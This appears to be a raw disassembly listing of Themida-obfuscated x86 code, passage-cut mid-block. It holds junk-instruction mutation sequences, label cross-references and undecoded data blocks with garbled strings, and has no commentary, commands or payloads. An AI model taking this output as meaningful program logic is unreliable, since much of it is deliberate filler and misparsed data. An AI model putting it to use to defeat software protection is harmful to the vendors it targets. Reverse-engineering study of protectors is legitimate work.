		mov	eax, 71D12331h
		jmp	loc_56119E
; ---------------------------------------------------------------------------


loc_55727F:				; CODE XREF: Themida_:0055B0A1j
		pop	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_554BE8
; ---------------------------------------------------------------------------


loc_5572A0:				; CODE XREF: Themida_:0055424Fj
		add	esp, 4
		or	esi, 3BE365CEh
		sub	esi, 14BE4D52h
		shr	esi, 1
		add	esi, 3A6468E2h
		jmp	loc_5622C5
; ---------------------------------------------------------------------------


loc_5572BC:				; CODE XREF: Themida_:005547B7j
		xor	esi, 916C92B6h
		mov	ecx, esi
		pop	esi
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_557B2C
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 0E9E08924h, 9853h,	0C181F901h, 7E556746h
		dd 166CE952h, 0C4830000h, 0EB40E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557312:				; CODE XREF: Themida_:00563E1Dj
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		jmp	loc_55A4EA
; ---------------------------------------------------------------------------
		db 1, 7Ch, 24h
		dd 3394E904h, 54510000h, 8AA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_557335:				; CODE XREF: Themida_:0055749Cj
		dec	dword ptr [esp]
		pop	edx
		or	edx, 3EAA38EDh
		jmp	loc_55DAF3
; ---------------------------------------------------------------------------
		dd 52DFF281h, 9692221Dh, 0D3F7DE87h, 5296DE87h,	57585A50h
		dd 3C3319BFh, 5FFA096Ch, 66CFE9h
		db 0
; ---------------------------------------------------------------------------


loc_557365:				; CODE XREF: Themida_:00566791j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	2D13h
		jmp	loc_5597EE
; ---------------------------------------------------------------------------
aZHo		db '┤<$\ho%',0
		align 2
		dw 1489h
		dd 0DDDFE924h, 1433FFFFh, 4895C24h, 0B92DE924h,	0D6F6FFFFh
		dd 0E92DC680h, 0FFFFC093h
; ---------------------------------------------------------------------------


loc_5573A0:				; CODE XREF: Themida_:0056464Aj
		xor	[esp], ebx
		jmp	loc_55C15E
; ---------------------------------------------------------------------------
		dd 0F181D9F7h, 9AF118B7h, 159CE31h, 24348BF0h, 0FFD81BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5573BD:				; CODE XREF: Themida_:005554E7j
		push	eax
		jmp	loc_566BC5
; ---------------------------------------------------------------------------
		db 29h
		dd 3EE9F0h, 4B80000h, 1000000h,	0E33EE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5573D6:				; CODE XREF: Themida_:00555892j
		sub	edx, 32604B21h
		pop	esi
		push	edi
		jmp	loc_55797D
; ---------------------------------------------------------------------------


loc_5573E3:				; CODE XREF: Themida_:00558CB6j
		mov	edi, [esp]
		add	esp, 4
		shl	eax, 6
		shr	eax, 5
		add	eax, 34CD8583h
		jmp	loc_564792
; ---------------------------------------------------------------------------


loc_5573F9:				; CODE XREF: Themida_:0055DBFCj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5620FB
; ---------------------------------------------------------------------------
		dd 2754502Dh, 0C7295E06h, 0FFC995E9h
		db 0FFh
byte_557415	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005529ECo
		dd 0D259669Dh, 0E99C241Ch, 8763h
; ---------------------------------------------------------------------------


loc_557424:				; CODE XREF: Themida_:0055CDF3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		sub	esp, 4
		jmp	loc_554205
; ---------------------------------------------------------------------------
		db 54h
		dd 8B2434FFh, 0C481241Ch, 4, 4C481h, 89530000h,	4C381E3h
		dd 83000000h, 1C8704EBh, 2EE95C24h, 530000A2h, 0DFF6F6B7h
		dd 91B25266h, 5A66D728h, 2C5BF820h, 0D97DE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55747E:				; CODE XREF: Themida_:00560183j
		push	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55BC74
; ---------------------------------------------------------------------------


loc_557488:				; CODE XREF: Themida_:0055CCF4j
		not	edi
		xchg	eax, edi
		push	edi
		mov	edi, 729D0326h
		shl	edi, 5
		dec	edi
		jmp	loc_560AF8
; ---------------------------------------------------------------------------


loc_55749A:				; CODE XREF: Themida_:00560EDCj
		dec	edx
		push	edx
		jmp	loc_557335
; ---------------------------------------------------------------------------


loc_5574A1:				; CODE XREF: Themida_:005646A8j
		sub	esi, eax
		pop	eax
		push	eax
		mov	eax, esi
		mov	edi, eax
		pop	eax
		jmp	loc_5561E1
; ---------------------------------------------------------------------------
		db 81h
		dd 0D3D8BCF1h, 6C73E99Eh, 0C890000h, 7BEEB924h,	0E957334Fh
		dd 9FAFh, 52EFBB8h, 36ED2D7Ch, 0C1E95085h, 83FFFFECh, 8B042404h
		dd 0C481241Ch, 4, 4EC81h, 6CE90000h, 8B0000A6h,	8B662424h
		dd 0EC832404h, 240C8904h, 557E68h, 24248900h, 4240483h
		dd 52515759h, 0FE2136BAh, 0C1EAD139h, 0E94207E2h, 5A1Bh
; ---------------------------------------------------------------------------


loc_55751C:				; CODE XREF: Themida_:0055AE4Fj
		pop	ebx
		add	ebx, 8E97DBBh
		or	ebx, 4E0A763Fh
		xor	ebx, 0EE484CA6h
		jmp	loc_55DA81
; ---------------------------------------------------------------------------
		dd 0E4BF575Dh, 9314937h, 243C8BFBh, 8104C483h, 8BACBFC3h
		dd 5BDD89C7h, 2BA9E9h, 24048300h, 0EDE95B04h, 0BD000036h
		dd 6312414Dh, 565DEF89h, 776401BEh, 0CFADE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55756E:				; CODE XREF: Themida_:00556E01j
		pop	edi
		pop	esi
		dec	eax
		or	eax, 6E5E1AA8h
		shr	eax, 7
		neg	eax
		jmp	loc_567055
; ---------------------------------------------------------------------------
		dd 3C8BFE89h, 4C48324h,	0CEB0E9h, 2C48300h, 81E38953h
		dd 4C3h, 2EB8100h, 87000000h, 665C241Ch, 0B0240489h, 0CC8FE71h
		dd 8E8C01Dh, 0F72CB82Ch, 0C64DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5575B9:				; CODE XREF: Themida_:00565C33j
		sub	esi, ecx
		push	ecx
		jmp	loc_562F76
; ---------------------------------------------------------------------------


loc_5575C1:				; CODE XREF: Themida_:00566F14j
		neg	edi
		inc	edi
		push	edx
		mov	edx, 6B6D3333h
		add	edi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_561DF8
; ---------------------------------------------------------------------------
		db 68h,	0FAh, 2Eh
		dd 34890000h, 3531BE24h, 0B95145A1h, 6D9C3D4Ch,	0D631E9h
		dd 4BF5700h, 0E9000000h, 0A86Ah, 2434FF5Dh, 4C48358h, 7510BF57h
		dd 0C78106E5h, 0FFFFFFFFh, 0BECF814Fh, 4F677312h, 0BE56DFF7h
		dd 39F56E8Ch, 787DB850h, 9E25775Ah, 0D3CF233h, 7E5E2915h
		dd 14D94F2Dh, 0CC82E95Fh, 0F789FFFFh, 2771E9h, 0B9C38100h
		dd 811EEF55h, 1D7ABAC3h, 81FB013Dh, 1D7ABAEBh, 0E41BE93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557656:				; CODE XREF: Themida_:00557CE5j
		push	5EBBh
		jmp	loc_5587FB
; ---------------------------------------------------------------------------


loc_557660:				; CODE XREF: Themida_:0055649Bj
		pop	ebx
		jmp	loc_566092
; ---------------------------------------------------------------------------
aXsil		db 'XИIL',0
		align 4
		dd 245C015Ah, 21116804h, 14890000h, 6B6DBA24h, 448164FBh
		dd 78B70824h, 5429266Bh, 0BD550824h, 266B78B7h,	0C246C29h
		dd 2434FF5Dh, 8124148Bh, 4C4h, 4C48300h, 5B2434FFh, 8904EC83h
		dd 0E2892414h, 4C281h, 2BE90000h, 8900004Eh, 3B68241Ch
		dd 89000071h, 4812424h,	424h, 0C2E95B00h, 8100003Ah, 4EDh
		dd 242C8700h, 8924248Bh, 8B54243Ch, 0C481243Ch,	4, 0E9E08950h
		dd 58C1h, 4C781h, 87E90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5576FF:				; CODE XREF: Themida_:0055C912j
		xor	al, ch
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_566A5A
; ---------------------------------------------------------------------------


loc_55771E:				; CODE XREF: Themida_:00552F11j
		push	esp
		jmp	loc_561268
; ---------------------------------------------------------------------------
		dd 4247C01h, 0EC835F5Fh, 242C8904h, 0FFD38AE9h,	243C33FFh
		dd 33243C31h, 248B243Ch, 4C28124h, 55000000h, 2BDh, 8BEA2900h
		dd 0D4E9242Ch, 5F000010h, 4245401h, 2434FF5Ah, 4C4815Fh
		dd 0E9000000h, 0F530h, 0F9F280h, 68B6E9D0h, 81580000h
		dd 4ECh, 24048900h, 24048B54h, 4C481h, 5680000h, 0E9000079h
		dd 80D1h
; ---------------------------------------------------------------------------


loc_557794:				; CODE XREF: Themida_:00562B02j
		add	esp, 2
		and	ch, dh
		mov	edx, [esp]
		add	esp, 4
		dec	ch
		push	eax
		mov	al, 5Fh
		jmp	loc_565F6B
; ---------------------------------------------------------------------------
		dd 6C62D52Dh, 3041051Bh, 0BA350C37h, 145B723h, 0D78CE9C6h
		dd 0ED810000h, 4BC575BFh, 0C581F501h, 4BC575BFh, 8324348Bh
		dd 0B95104C4h, 30C3335Ah, 6FDB850h, 0C1017287h,	8324048Bh
		dd 0F18104C4h, 78D7C54h, 0F18149h, 81A4C746h, 0F80EA7EDh
		dd 0E9CD010Bh, 0C079h, 68E9E789h, 81FFFFB8h, 4C6h, 4B85000h
		dd 50000000h, 0AD97E9h,	4C48100h, 28000000h, 0D8D9E9C8h
		dd 89500000h, 405E0h, 0BE560000h, 4, 3636502Dh,	0E9F0015Ch
		dd 0EAD2h
; ---------------------------------------------------------------------------


loc_557844:				; CODE XREF: Themida_:00564953j
		pop	dword ptr [esp]
		pop	esp


loc_557848:				; CODE XREF: Themida_:loc_554197j
					; Themida_:loc_555789j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55BC59
; ---------------------------------------------------------------------------
		db 21h,	0F0h, 0E9h
		dd 4B3Bh, 4BFh,	5FFB8900h, 1C8BDD29h, 0A12CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557876:				; CODE XREF: Themida_:00560E3Cj
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	14E0h
		mov	[esp], ebp
		mov	ebp, 5F250C25h
		or	ebp, 520E31C6h
		push	edi
		mov	edi, 5D034DBBh
		and	edi, 3E884F65h
		neg	edi
		inc	edi
		not	edi
		dec	edi
		add	edi, 432EF0C5h
		xor	ebp, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, 146F6947h
		add	ecx, 508B1753h
		add	ecx, ebp
		sub	ecx, 508B1753h
		push	esi
		mov	esi, 146F6947h
		push	esi
		mov	esi, 475605D3h
		add	ecx, esi
		jmp	loc_55C4DE
; ---------------------------------------------------------------------------


loc_5578E2:				; CODE XREF: Themida_:00565BCAj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_554CCA
; ---------------------------------------------------------------------------


loc_5578F6:				; CODE XREF: Themida_:00563601j
		add	edi, 35F51B12h
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, edi
		pop	edi
		push	edx
		mov	edx, 0FFFFFFFFh
		add	eax, edx
		pop	edx
		not	eax
		neg	eax
		xor	eax, 440062C8h
		jmp	loc_55A2E0
; ---------------------------------------------------------------------------
		dd 4C281h, 14870000h, 0C3805C24h, 0A200E9D1h, 24BB0000h
		dd 0F742264Dh, 15E951D3h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55793B:				; CODE XREF: Themida_:005605DAj
		push	dword ptr [esp]
		jmp	loc_5533CB
; ---------------------------------------------------------------------------
		db 33h
		dd 248B241Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5533D2
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 81h
aI6t8s1?	db 'К:6▓8И1?',0
		align 2
		dw 2C89h
		dd 81E58924h, 4C5h, 6B9C6800h, 14890000h, 4FBBBA24h, 555156D2h
		dd 0F7B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55797D:				; CODE XREF: Themida_:005573DEj
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_56289F
; ---------------------------------------------------------------------------
aI4Hjw		db '┴4$h├W',0
		dd 241C8900h, 0BA441168h, 0C3815B79h, 64177A36h, 0C381DBF7h
		dd 191A11ACh, 4AE9DE89h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5579BF:				; CODE XREF: Themida_:00557FEFj
		or	edi, 3EC11D97h
		or	edi, 36214787h
		xor	edi, 0CC5475CAh
		sub	edx, edi
		pop	edi
		add	edx, edi
		push	edi
		mov	edi, 7DE91A12h
		jmp	loc_56021E
; ---------------------------------------------------------------------------


loc_5579E1:				; CODE XREF: Themida_:00562A45j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	6C04h
		jmp	loc_55459E
; ---------------------------------------------------------------------------


loc_557A07:				; CODE XREF: Themida_:005588EAj
		push	edx
		mov	edx, esp
		jmp	loc_555884
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5C240487h, 4EC8353h,	0B5240C89h, 59EB8829h, 2414F653h
		dd 84B4505Bh, 806EF480h, 0DCF6EAC4h, 0D3C480h, 0E3C058E3h
		dd 0E0895004h, 0C258E9h
		db 0
; ---------------------------------------------------------------------------


loc_557A41:				; CODE XREF: Themida_:0055E442j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_563422
; ---------------------------------------------------------------------------


loc_557A4C:				; CODE XREF: Themida_:00555E9Fj
		mov	[esp], ecx
		jmp	loc_55B21D
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFC385h
; ---------------------------------------------------------------------------


loc_557A5C:				; CODE XREF: Themida_:0056022Bj
		push	edi
		mov	edi, 61EB48F8h
		sub	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], edx
		add	dword ptr [esp+4], 61EB48F8h
		push	dword ptr [esp]
		jmp	loc_55BB49
; ---------------------------------------------------------------------------
		dd 3797E281h, 0D2F7306Dh, 0ADE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557A8E:				; CODE XREF: Themida_:0055B9CBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bl, 8Dh
		mov	ah, bl
		pop	ebx
		push	edx
		mov	dl, ah
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55E3F6
; ---------------------------------------------------------------------------
aISA		db '┴аИ&М',0
		align 2
		dw 0E581h
		dd 658959F9h, 3DBA5251h, 0F72D3C46h, 0F479E9DAh, 0B8500000h
		dd 2, 0E958C701h, 0FFFFC958h, 2AE9DD28h, 5A0000D8h, 8B5FF829h
		dd 0C481242Ch, 4, 930E9925h, 0E0C14859h, 0D5354004h, 570030C7h
		dd 0F591E9h, 4C48300h, 0C107E9C1h, 0E98105E1h, 1, 93C2C181h
		dd 0E95546ABh, 0C9D1h
; ---------------------------------------------------------------------------


loc_557B2C:				; CODE XREF: Themida_:005572E7j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 10h
		jmp	loc_56432E
; ---------------------------------------------------------------------------
		db 0BBh
		dd 375F1B85h, 1C55E9h, 241C8900h, 95E4E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B4E:				; CODE XREF: Themida_:0055AD01j
		mov	ebp, edi
		pop	edi
		mov	edx, 21BC2879h
		not	edx
		jmp	loc_554C13
; ---------------------------------------------------------------------------


loc_557B5D:				; CODE XREF: Themida_:005609F4j
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		xor	ch, 76h
		add	al, ch
		pop	ecx
		push	ecx
		mov	cl, 49h
		jmp	loc_553711
; ---------------------------------------------------------------------------


loc_557B75:				; CODE XREF: Themida_:0055B167j
					; Themida_:0055C2D7j
		sub	esp, 4
		jmp	loc_56078B
; ---------------------------------------------------------------------------


loc_557B7D:				; CODE XREF: Themida_:00558390j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55DA50
; ---------------------------------------------------------------------------


loc_557B8F:				; CODE XREF: Themida_:00557C00j
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 39D30519h
		xor	esi, ecx
		jmp	loc_553373
; ---------------------------------------------------------------------------


loc_557BA0:				; CODE XREF: Themida_:00562AE3j
		pop	edx
		add	eax, 620952F4h
		jmp	loc_55B152
; ---------------------------------------------------------------------------


loc_557BAB:				; CODE XREF: Themida_:0056058Dj
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	ebx, 284A5684h
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5620A3
; ---------------------------------------------------------------------------


loc_557BD9:				; CODE XREF: Themida_:005532FEj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ecx, eax
		jmp	loc_55E84F
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4E255EAEh, 0AAFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_557BF5:				; CODE XREF: Themida_:00559963j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_557B8F
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 74h
		dd 0A6E90224h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C0F:				; CODE XREF: Themida_:0055FEFBj
		mov	ebx, 8B23ED2h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 0E5623428h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_565D02
; ---------------------------------------------------------------------------
byte_557C2B	db 68h			; DATA XREF: Themida_:005529F4o
		dd 116Eh, 0E9241C89h, 2CAFh, 0E904C483h, 0CE4Bh
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 0C8BCF142h
		sub	ebp, ecx
		jmp	loc_5540CA
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0E9FE8900h,	0FFFFE591h, 137E1BB8h
		dd 4FC72502h, 0D8F710E7h, 34E0705h, 9806E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C86:				; CODE XREF: Themida_:00564EC0j
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		db 0BDh
		dd 79B623F7h, 15DE831h,	2434FFC7h, 134AE9h, 49926800h
		dd 0A5E90000h, 68FFFFCAh, 27C9h, 0BE243489h, 105A250Ah
		dd 73E8E9h, 0C335B00h, 4F62E924h, 0BE560000h, 0F7050672h
		dd 0E95EF329h, 8658h
; ---------------------------------------------------------------------------


loc_557CD0:				; CODE XREF: Themida_:00564FACj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_557656
; ---------------------------------------------------------------------------


loc_557CEA:				; CODE XREF: Themida_:005550DDj
		push	eax
		jmp	loc_55BCE7
; ---------------------------------------------------------------------------
		dd 0C788E947h, 0E381FFFFh, 5C013C10h, 1B85C381h, 0DA313550h
		dd 7067E9h, 48B6600h, 3E776824h, 14890000h, 96E6E924h
		dd 0C1810000h, 4, 0E904C183h, 0AB42h, 4C7815Fh,	83000000h
		dd 3C8704EFh, 24248B24h, 87243C89h, 0D0F72404h,	0FF240487h
		dd 64E92434h, 560000DBh, 2993BA52h, 0CBE41A7h, 0E970C16Dh
		dd 0C5ECh, 0B951CA01h, 1B29667Bh, 0FF59CA01h, 6CE92434h
		dd 1FFFFDDh, 3A7905D0h,	23E92A35h, 810000F9h, 4ECh, 268CE900h
		dd 1C8B0000h, 4C48124h,	0E9000000h, 51B6h
; ---------------------------------------------------------------------------


loc_557D94:				; CODE XREF: Themida_:005530B4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55A734
; ---------------------------------------------------------------------------
		dd 3226AABBh, 5BDE01F2h, 0E95EF701h, 0FFFFF5C1h, 0E9D08959h
		dd 1401h, 125968h, 24248900h, 4240483h,	81240C8Bh, 4C4h
		dd 0C7EAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557DDA:				; CODE XREF: Themida_:00559ED7j
		mov	[esp], ecx
		jmp	loc_560498
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 2A42701Ch, 522E956h
		db 2 dup(0)
word_557DEE	dw 8B66h		; DATA XREF: Themida_:00552A8Co
		dd 0E951240Ch, 0FFFFB163h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 0FFAEB6E9h, 24048FFFh, 265EE9h, 0D9F38100h, 17FA911h
		dd 0E9525BD8h, 3122h
dword_557E24	dd 24048B66h, 1CAE68h, 0E1AAE900h ; DATA XREF: Themida_:00552A44o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E32:				; CODE XREF: Themida_:00553D03j
		mov	[esp], ebp
		push	edx
		push	7DA5695Bh
		pop	edx
		jmp	loc_5667B6
; ---------------------------------------------------------------------------
		db 45h,	81h, 0C5h
		dd 0FD11205h, 595DEE01h, 73C868h, 240C8900h, 2B56E9h, 5BD0BB00h
		dd 9DE94D17h, 59FFFFBAh, 0C103EAC1h, 8A6808EAh,	89000010h
		dd 26BE2434h, 0E951AB75h, 0FFFFD40Ch
; ---------------------------------------------------------------------------


loc_557E7C:				; CODE XREF: Themida_:00565CF2j
		pop	ebp
		jmp	loc_5606EC
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 266566B4h, 3CE0ED81h, 0CD81166Fh, 71413C32h,	12C7BA52h
		dd 0E2811AC5h, 0ED008B6h, 0D037E9h, 25E95700h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557EAB:				; CODE XREF: Themida_:0055E027j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		jmp	loc_55A951
; ---------------------------------------------------------------------------


loc_557EC7:				; CODE XREF: Themida_:005544E7j
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		add	esi, 154829B4h
		jmp	loc_553851
; ---------------------------------------------------------------------------


loc_557EDC:				; CODE XREF: Themida_:00566607j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560378
; ---------------------------------------------------------------------------


loc_557EED:				; CODE XREF: Themida_:00553A67j
		sub	edx, ebx
		sub	edx, 3F3C0819h
		pop	ebx
		push	ebp
		mov	ebp, 14EF4E8Bh
		or	edx, ebp
		pop	ebp
		add	edx, 1
		sub	edx, 6ED4719Ah
		push	6796h
		mov	[esp], ebp
		push	edx
		push	ecx
		jmp	loc_55FE20
; ---------------------------------------------------------------------------


loc_557F1A:				; CODE XREF: Themida_:0055327Fj
		mov	edx, 1E40763Bh
		jmp	loc_563388
; ---------------------------------------------------------------------------
		dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14330000h,	24143124h
		dd 5C241433h, 2474FF50h, 0CBB1E904h, 895CFFFFh,	35B02404h
		dd 0E9C58851h, 41FFh, 0A6677FB9h, 1EC98108h, 0F762C434h
		dd 6DB850D9h, 945E94Ch,	2434FFC1h, 0A625E958h, 5B540000h
		dd 217768h, 242C8900h, 4EC81h, 0DCE90000h, 8100005Ch, 876E02EDh
		dd 0E9EB0136h, 0FFFFCF5Ah, 0FEE9D387h, 81FFFFD8h, 0F84101EEh
		dd 5EF509DBh, 6A21E956h, 0C6810000h, 1378EC61h,	56BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_557FB9:				; CODE XREF: Themida_:005604C4j
		shl	edi, 1
		xor	edi, 98B2FA7h
		or	edi, 69D90A4Ch
		sub	edi, 74F766BEh
		add	edx, edi
		pop	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 2CE07B1Eh
		shl	edi, 6
		or	edi, 0F9224DBh
		add	edi, 67DC37D1h
		jmp	loc_5579BF
; ---------------------------------------------------------------------------
		dd 4240483h, 83242C8Bh,	18E904C4h, 6600003Eh, 66243489h
		dd 22474FFh, 24348B66h,	6602C483h, 6624048Fh, 14876656h
		dd 37BE924h, 4890000h, 0C085B424h, 536607E4h, 0FC206CB7h
		dd 22E95B66h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558037:				; CODE XREF: Themida_:0055BCFDj
		push	4794h
		jmp	loc_55598A
; ---------------------------------------------------------------------------
		db 29h,	0EAh, 0E9h
		dd 0C1F3h, 5E45F281h, 815233B4h, 7A72242Ch, 81597A0Ch
		dd 0C7A72C1h, 0EE5DE97Ah, 875A0000h, 335C241Ch,	0C31240Ch
		dd 240C3324h, 0D224248Bh, 0E99C240Ch, 0FFFFAC47h
; ---------------------------------------------------------------------------


loc_55807C:				; CODE XREF: Themida_:005562C3j
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		jmp	loc_560C33
; ---------------------------------------------------------------------------
		db 81h
		dd 3A32F7C5h, 66E95304h, 2D000001h, 5D187E0Fh, 5C15EF2Dh
		dd 8BC78952h, 0C4812404h, 4, 0C2E5E952h, 0E95FFFFFh, 0FFFFE85Dh
		dd 46F2E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5580BA:				; CODE XREF: Themida_:00553464j
		push	ebp
		mov	ebp, 32462E9Bh
		add	ebp, 4501433Fh
		jmp	loc_562753
; ---------------------------------------------------------------------------


loc_5580CB:				; CODE XREF: Themida_:0055EC2Ej
		add	esp, 4
		push	5FCCh
		mov	[esp], edx
		push	esi
		push	edx
		push	4C9568A1h
		jmp	loc_565DA0
; ---------------------------------------------------------------------------
a2i7isvi	db '-2I7iИv╘',0
		dw 8100h
		dd 32718EBh, 74B9513Bh,	313D596Eh, 9134E9CBh, 68660000h
		dd 42E97005h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55810B:				; CODE XREF: Themida_:0056276Dj
		xor	bl, dl
		pop	edx
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_559D31
; ---------------------------------------------------------------------------
		dd 2434895Ch, 454AB8BEh, 2EEC10Dh, 0C681DEF7h, 35152B2h
		dd 835EF101h, 348904ECh, 6DBD5524h, 0BE5B8076h,	5B80766Fh
		dd 2C8BEE29h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 7075E9h, 0F0E95300h,	53FFFFCEh, 0E3C072B3h, 28EB8003h
		dd 0E95BDD88h, 0FFFFF974h, 0FFAB4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558179:				; CODE XREF: Themida_:005646C1j
		mov	eax, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_5633F5
; ---------------------------------------------------------------------------
		dd 815AD689h, 0F93A42EFh, 0FCC7813Eh, 1382F40h,	0FCEF81F7h
		dd 81382F40h, 0F93A42C7h, 0CF13E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5581A6:				; CODE XREF: Themida_:00563ED5j
		pop	ecx
		add	dword ptr [ebx], 1
		jmp	loc_56294A
; ---------------------------------------------------------------------------


loc_5581B2:				; CODE XREF: Themida_:0056551Fj
		push	ebx
		mov	ebx, 3FAC4E5Eh
		add	edx, ebx
		pop	ebx
		sub	edx, 1
		push	ecx
		mov	ecx, 21597B7Bh
		push	ebx
		mov	ebx, 57E09E7h
		or	ebx, 44E92965h
		jmp	loc_559B79
; ---------------------------------------------------------------------------
		db 31h,	0D0h, 8Bh
		dd 0C4812414h, 4, 7180E9h, 0C4F38000h, 8108EBC0h, 4ECh
		dd 240C8900h, 0FFC549E9h, 76FEBBFFh, 0F7534DD4h, 835B2414h
		dd 348904ECh, 350E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55820E:				; CODE XREF: Themida_:0055BF1Bj
		mov	bl, dh
		mov	dh, ch
		pop	cx
		push	small 0
		sub	[esp], dh
